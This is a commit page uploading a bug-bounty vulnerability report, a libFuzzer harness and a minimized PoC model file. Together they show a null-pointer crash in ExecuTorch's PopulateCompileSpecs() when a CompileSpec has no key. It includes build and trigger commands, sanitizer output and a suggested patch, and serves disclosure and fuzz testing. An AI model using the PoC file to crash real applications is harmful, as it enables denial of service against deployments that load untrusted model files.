tsk-arasu commited on
Commit
b009429
·
verified ·
1 Parent(s): bc93962

Upload folder using huggingface_hub

Browse files
REPORT.md ADDED
@@ -0,0 +1,143 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Null Pointer Dereference in ExecuTorch BackendDelegate::PopulateCompileSpecs() via Missing CompileSpec.key (.pte)
2
+
3
+ **Target:** ExecuTorch 1.3.1 (.pte, huntr Model File Vulnerability program)
4
+ **Severity:** Low-Medium (Denial of Service)
5
+ **CWE:** CWE-476 (NULL Pointer Dereference)
6
+ **Component:** `runtime/executor/method.cpp`
7
+ **Authentication Required:** No — requires a victim application to load a `.pte` file whose method has a backend delegate with a `compile_specs` list, with at least one backend registered/available (a routine deployment configuration).
8
+
9
+ ## Summary
10
+
11
+ `BackendDelegate::PopulateCompileSpecs()` dereferences each `CompileSpec` entry's `key` field unconditionally via `->c_str()`, without checking it for null. `CompileSpec.key` is declared as an optional `string` in the schema. A `.pte` file with a delegate whose `compile_specs` list contains an entry with a `value` but no `key` crashes the moment `Method::init()` resolves that delegate — before any execution begins.
12
+
13
+ This is the third distinct null-pointer-dereference finding reached through the same `Method::init()` delegate-resolution code path in this investigation (following the `Operator.overload` and `Program.backend_delegate_data` findings), reinforcing that this area of the codebase was written with less consistent defensive guarding than the tensor-parsing paths.
14
+
15
+ ## Vulnerability Details
16
+
17
+ `runtime/executor/method.cpp`'s `BackendDelegate::PopulateCompileSpecs()`:
18
+
19
+ ```cpp
20
+ static Error PopulateCompileSpecs(
21
+ const flatbuffers::Vector<flatbuffers::Offset<
22
+ executorch_flatbuffer::CompileSpec>>* compile_specs_in_program,
23
+ BackendInitContext& backend_init_context,
24
+ CompileSpec** out_spec) {
25
+ auto number_of_compile_specs = compile_specs_in_program->size();
26
+ CompileSpec* compile_specs_list = ...;
27
+ ...
28
+ for (size_t j = 0; j < number_of_compile_specs; j++) {
29
+ auto compile_spec_in_program = compile_specs_in_program->Get(j);
30
+
31
+ compile_specs_list[j].key = compile_spec_in_program->key()->c_str(); // <-- crash site
32
+ compile_specs_list[j].value = {
33
+ static_cast<void*>(const_cast<uint8_t*>(compile_spec_in_program->value()->Data())),
34
+ compile_spec_in_program->value()->size(),
35
+ };
36
+ }
37
+ ...
38
+ ```
39
+
40
+ `schema/program.fbs`:
41
+
42
+ ```
43
+ table CompileSpec {
44
+ // One compile spec. There are can be multiple specs for one method
45
+ key: string; // like max_value
46
+ value: [ubyte]; // like 4, or other types based on needs.
47
+ }
48
+ ```
49
+
50
+ `PopulateCompileSpecs()` is called from `BackendDelegate::Init()` whenever `delegate.compile_specs() != nullptr` — a normal, documented way for a delegate to pass backend-specific compilation options.
51
+
52
+ ## Steps to Reproduce
53
+
54
+ ### Environment
55
+ Linux x86-64, ExecuTorch 1.3.1 pristine source, clang-16, CMake, Ninja. No authentication, no host access.
56
+
57
+ ### 1. Build ExecuTorch with sanitizers
58
+
59
+ Same build as REPORT-11/12 Step 1.
60
+
61
+ ### 2. Build the execute-level harness (`poc/harness_execute_fuzzer.cpp`, same harness as REPORT-11/12, included in this report)
62
+
63
+ This harness registers fake backends under common names (`XnnpackBackend`, `QnnBackend`, etc.) that trivially succeed on `init()`, exercising the real `BackendDelegate::Init()`/`PopulateCompileSpecs()` code path.
64
+
65
+ ```bash
66
+ export ET_PARENT=/path/to/parent-of-executorch
67
+ C10_INC="$ET_SRC/runtime/core/portable_type/c10"
68
+ INCLUDES="-I$ET_PARENT -I$ET_BUILD -I$ET_BUILD/schema/include -I$ET_BUILD/extension/flat_tensor/include -I$ET_BUILD/third-party/flatc_ep/include -I$C10_INC"
69
+
70
+ clang++-16 -std=c++17 -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer -fno-sanitize-recover=all \
71
+ $INCLUDES -DFLATBUFFERS_MAX_ALIGNMENT=1024 -DC10_USING_CUSTOM_GENERATED_MACROS \
72
+ -c poc/harness_execute_fuzzer.cpp -o harness.o
73
+
74
+ clang++-16 -fsanitize=fuzzer,address,undefined -o poc_harness harness.o \
75
+ "$ET_BUILD/extension/data_loader/libextension_data_loader.a" \
76
+ "$ET_BUILD/libexecutorch_core.a"
77
+ ```
78
+
79
+ ### 3. PoC file
80
+
81
+ `poc/poc_compilespec_key_null.pte` (44,800 bytes, **included in this report — sha256 `673c5e5f95788827bf24bef50f7a2de39aab9e63b17278a5415769746bd417bb`**). This PoC was originally discovered by coverage-guided fuzzing (a 1,355,528-byte input) and minimized via libFuzzer's built-in crash minimizer to this 44,800-byte reproducer while preserving the exact same crash.
82
+
83
+ ### 4. Trigger the crash
84
+
85
+ ```bash
86
+ export ASAN_OPTIONS="abort_on_error=1:symbolize=0"
87
+ export UBSAN_OPTIONS="halt_on_error=1:print_stacktrace=0"
88
+ ./poc_harness -timeout=5 -runs=0 poc/poc_compilespec_key_null.pte
89
+ ```
90
+
91
+ ### Expected result (secure behavior)
92
+ `Method::init()` should return a clean `Error` (or substitute an empty string) when a `CompileSpec` entry has no `key`, rather than crashing.
93
+
94
+ ### Actual result — verified against BOTH a patched build AND an independently rebuilt, wholly unmodified pristine ExecuTorch 1.3.1 source tree
95
+
96
+ ```
97
+ Running: poc/poc_compilespec_key_null.pte
98
+ runtime/executor/method.cpp:181:67: runtime error: member call on null pointer of type 'flatbuffers::String'
99
+ SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior runtime/executor/method.cpp:181:67 in
100
+ ==<pid>== ERROR: libFuzzer: deadly signal
101
+ #0 ... (abort machinery)
102
+ BackendDelegate::PopulateCompileSpecs (method.cpp:181)
103
+ BackendDelegate::Init (method.cpp)
104
+ Method::init (method.cpp:971)
105
+ ```
106
+
107
+ **Reproduced 3/3 identical runs against the independently rebuilt pristine source** (re-verified live for this report):
108
+ ```
109
+ run 1: member call on null pointer of type 'flatbuffers::String'
110
+ run 2: (identical)
111
+ run 3: (identical)
112
+ ```
113
+
114
+ ## Impact
115
+
116
+ **Who is affected:** Any application calling `Program::load_method()` on a method whose delegates specify `compile_specs` with a null `key`, where the victim has registered/made available a backend matching the delegate's `id` — a routine configuration for any deployment with at least one hardware-acceleration backend.
117
+
118
+ **What the attacker can do:** Cause a deterministic crash during method loading, unconditionally (no build-flag dependency).
119
+
120
+ **What's at risk:** Availability only.
121
+
122
+ **Why not Critical:** Controlled null-pointer dereference, no memory corruption or code execution demonstrated.
123
+
124
+ ## Suggested Remediation
125
+
126
+ ```cpp
127
+ compile_specs_list[j].key = (compile_spec_in_program->key() != nullptr)
128
+ ? compile_spec_in_program->key()->c_str()
129
+ : "";
130
+ ```
131
+
132
+ **Design recommendation:** consider a single validation pass over all `CompileSpec` entries in a delegate's `compile_specs` list at the top of `PopulateCompileSpecs()`, checking both `key` and `value` for null in one place, consistent with the recommendation made in the companion `Operator.overload` (REPORT-11) and `Program.backend_delegate_data` (REPORT-12) findings — all three sit in the same delegate-resolution code area and would benefit from a shared, consistent validation approach.
133
+
134
+ A regression test should build a `.pte` with one `BackendDelegate` (using a registered fake backend) whose `compile_specs` contains an entry with a `value` but no `key`, asserting `Method::load()` returns a clean `Error` rather than crashing.
135
+
136
+ ## Files Included in This Report
137
+
138
+ - `poc/poc_compilespec_key_null.pte` — the 44,800-byte minimized PoC file (sha256 `673c5e5f95788827bf24bef50f7a2de39aab9e63b17278a5415769746bd417bb`)
139
+ - `poc/harness_execute_fuzzer.cpp` — the harness used to trigger and reproduce the crash, including fake backend registration for exercising `BackendDelegate::Init()`/`PopulateCompileSpecs()`
140
+
141
+ ## huntr Submission Note
142
+
143
+ Per the huntr MFV program's submission requirements, this PoC needs to be uploaded to a public HuggingFace repository before filing. `poc/poc_compilespec_key_null.pte` is ready for that upload.
poc/harness_execute_fuzzer.cpp ADDED
@@ -0,0 +1,174 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ // libFuzzer harness for Program::load_method() + Method::execute().
2
+ // Registers a fake kernel (for every op name that might appear) that ALWAYS
3
+ // calls context.fail(), to deterministically exercise the KernelCall failure
4
+ // logging path in Method::execute_instruction() - specifically testing
5
+ // whether op->overload()->c_str() is dereferenced unconditionally when
6
+ // overload is null (optional per schema).
7
+ //
8
+ // Also registers a fake backend (matching common backend id strings) whose
9
+ // init()/execute() are minimal, to exercise BackendDelegate::Init() and
10
+ // GetProcessedData() paths without requiring a real backend implementation.
11
+ #include <cstddef>
12
+ #include <cstdint>
13
+ #include <vector>
14
+
15
+ #include <executorch/extension/data_loader/buffer_data_loader.h>
16
+ #include <executorch/runtime/backend/interface.h>
17
+ #include <executorch/runtime/executor/method.h>
18
+ #include <executorch/runtime/executor/program.h>
19
+ #include <executorch/runtime/core/memory_allocator.h>
20
+ #include <executorch/runtime/core/hierarchical_allocator.h>
21
+ #include <executorch/runtime/executor/memory_manager.h>
22
+ #include <executorch/runtime/kernel/operator_registry.h>
23
+ #include <executorch/runtime/kernel/kernel_runtime_context.h>
24
+ #include <executorch/runtime/platform/runtime.h>
25
+
26
+ using executorch::extension::BufferDataLoader;
27
+ using executorch::runtime::Program;
28
+ using executorch::runtime::Method;
29
+ using executorch::runtime::MemoryAllocator;
30
+ using executorch::runtime::HierarchicalAllocator;
31
+ using executorch::runtime::MemoryManager;
32
+ using executorch::runtime::Span;
33
+ using executorch::runtime::EValue;
34
+ using executorch::runtime::Error;
35
+ using executorch::runtime::Result;
36
+ using executorch::runtime::KernelRuntimeContext;
37
+ using executorch::runtime::Kernel;
38
+ using executorch::runtime::register_kernels;
39
+ using executorch::runtime::BackendInterface;
40
+ using executorch::runtime::Backend;
41
+ using executorch::runtime::register_backend;
42
+ using executorch::runtime::DelegateHandle;
43
+ using executorch::runtime::FreeableBuffer;
44
+ using executorch::runtime::ArrayRef;
45
+ using executorch::runtime::CompileSpec;
46
+ using executorch::runtime::BackendInitContext;
47
+ using executorch::runtime::BackendExecutionContext;
48
+
49
+ // A kernel that always fails - forces Method::execute_instruction()'s
50
+ // KernelCall failure-logging path (which dereferences op->overload()) on
51
+ // EVERY KernelCall instruction, regardless of which operator is named.
52
+ void always_fail_kernel(KernelRuntimeContext& context, Span<EValue*> /*args*/) {
53
+ context.fail(Error::Internal);
54
+ }
55
+
56
+ // A minimal backend that succeeds trivially, to exercise
57
+ // BackendDelegate::Init()/GetProcessedData() without needing a real backend.
58
+ class FuzzTestBackend final : public BackendInterface {
59
+ public:
60
+ bool is_available() const override {
61
+ return true;
62
+ }
63
+ Result<DelegateHandle*> init(
64
+ BackendInitContext& /*context*/,
65
+ FreeableBuffer* /*processed*/,
66
+ ArrayRef<CompileSpec> /*compile_specs*/) const override {
67
+ return static_cast<DelegateHandle*>(nullptr);
68
+ }
69
+ Error execute(
70
+ BackendExecutionContext& /*context*/,
71
+ DelegateHandle* /*handle*/,
72
+ Span<EValue*> /*args*/) const override {
73
+ return Error::Ok;
74
+ }
75
+ };
76
+
77
+ static bool g_initialized = false;
78
+ static FuzzTestBackend* g_backend = nullptr;
79
+
80
+ extern "C" int LLVMFuzzerTestOneInput(const std::uint8_t* data, std::size_t size) {
81
+ if (!g_initialized) {
82
+ executorch::runtime::runtime_init();
83
+
84
+ // Register a wildcard-ish set of fallback kernels for common op names
85
+ // seen in the seed corpus, all pointing to always_fail_kernel. We can't
86
+ // truly wildcard-match in this registry, so register kernels for the
87
+ // most common ops that appear in the existing .pte seed corpus.
88
+ static const Kernel kernels[] = {
89
+ Kernel("aten::add.out", always_fail_kernel),
90
+ Kernel("aten::add.Tensor_out", always_fail_kernel),
91
+ Kernel("aten::mul.out", always_fail_kernel),
92
+ Kernel("aten::mul.Tensor_out", always_fail_kernel),
93
+ Kernel("aten::sub.out", always_fail_kernel),
94
+ Kernel("aten::relu.out", always_fail_kernel),
95
+ Kernel("aten::linear.out", always_fail_kernel),
96
+ Kernel("aten::cat.out", always_fail_kernel),
97
+ Kernel("aten::view_copy.out", always_fail_kernel),
98
+ Kernel("aten::index.Tensor_out", always_fail_kernel),
99
+ Kernel("aten::_softmax.out", always_fail_kernel),
100
+ Kernel("aten::convolution.out", always_fail_kernel),
101
+ Kernel("aten::permute_copy.out", always_fail_kernel),
102
+ Kernel("aten::_to_copy.out", always_fail_kernel),
103
+ // No-overload variants: matches Operator entries whose `overload`
104
+ // field is null/absent, which is the specific condition needed to
105
+ // test whether Method::execute_instruction()'s KernelCall failure
106
+ // path dereferences op->overload() unconditionally.
107
+ Kernel("aten::add", always_fail_kernel),
108
+ Kernel("aten::mul", always_fail_kernel),
109
+ Kernel("aten::sub", always_fail_kernel),
110
+ Kernel("aten::relu", always_fail_kernel),
111
+ Kernel("aten::linear", always_fail_kernel),
112
+ Kernel("aten::cat", always_fail_kernel),
113
+ Kernel("test_op", always_fail_kernel),
114
+ Kernel("test_op_no_overload", always_fail_kernel),
115
+ };
116
+ register_kernels({kernels, sizeof(kernels) / sizeof(kernels[0])});
117
+
118
+ static FuzzTestBackend backend_instance;
119
+ g_backend = &backend_instance;
120
+ static const char* backend_names[] = {
121
+ "XnnpackBackend", "CoreMLBackend", "QnnBackend",
122
+ "VulkanBackend", "MPSBackend", "TCE0", "TCE1"};
123
+ for (const char* name : backend_names) {
124
+ register_backend(Backend{name, g_backend});
125
+ }
126
+
127
+ g_initialized = true;
128
+ }
129
+
130
+ constexpr std::size_t kMaxInput = 8U * 1024U * 1024U;
131
+ if (data == nullptr || size == 0 || size > kMaxInput) {
132
+ return 0;
133
+ }
134
+
135
+ BufferDataLoader loader(data, size);
136
+ auto program = Program::load(&loader, Program::Verification::InternalConsistency);
137
+ if (!program.ok()) {
138
+ return 0;
139
+ }
140
+
141
+ static std::vector<uint8_t> method_pool(512 * 1024);
142
+ static std::vector<uint8_t> planned_pool(256 * 1024);
143
+ MemoryAllocator method_allocator(method_pool.size(), method_pool.data());
144
+ static Span<uint8_t> planned_span(planned_pool.data(), planned_pool.size());
145
+ HierarchicalAllocator planned_memory({&planned_span, 1});
146
+ MemoryManager mm(&method_allocator, &planned_memory, nullptr);
147
+
148
+ auto& p = program.get();
149
+ auto n = p.num_methods();
150
+ for (size_t i = 0; i < n; ++i) {
151
+ auto name = p.get_method_name(i);
152
+ if (!name.ok()) continue;
153
+ auto method = p.load_method(name.get(), &mm);
154
+ if (!method.ok()) {
155
+ #ifdef ET_FUZZ_DEBUG
156
+ fprintf(stderr, "[dbg] load_method failed: 0x%x\n",
157
+ static_cast<unsigned int>(method.error()));
158
+ #endif
159
+ continue;
160
+ }
161
+ // Attempt to set trivial inputs where possible, then execute. We don't
162
+ // try hard to satisfy every possible input shape - we're hunting for
163
+ // crashes during initialization and the KernelCall failure path, not
164
+ // testing correct numerical execution.
165
+ auto& m = method.get();
166
+ auto exec_err = m.execute();
167
+ #ifdef ET_FUZZ_DEBUG
168
+ fprintf(stderr, "[dbg] execute() returned: 0x%x\n",
169
+ static_cast<unsigned int>(exec_err));
170
+ #endif
171
+ (void)exec_err;
172
+ }
173
+ return 0;
174
+ }
poc/poc_compilespec_key_null.pte ADDED
Binary file (44.8 kB). View file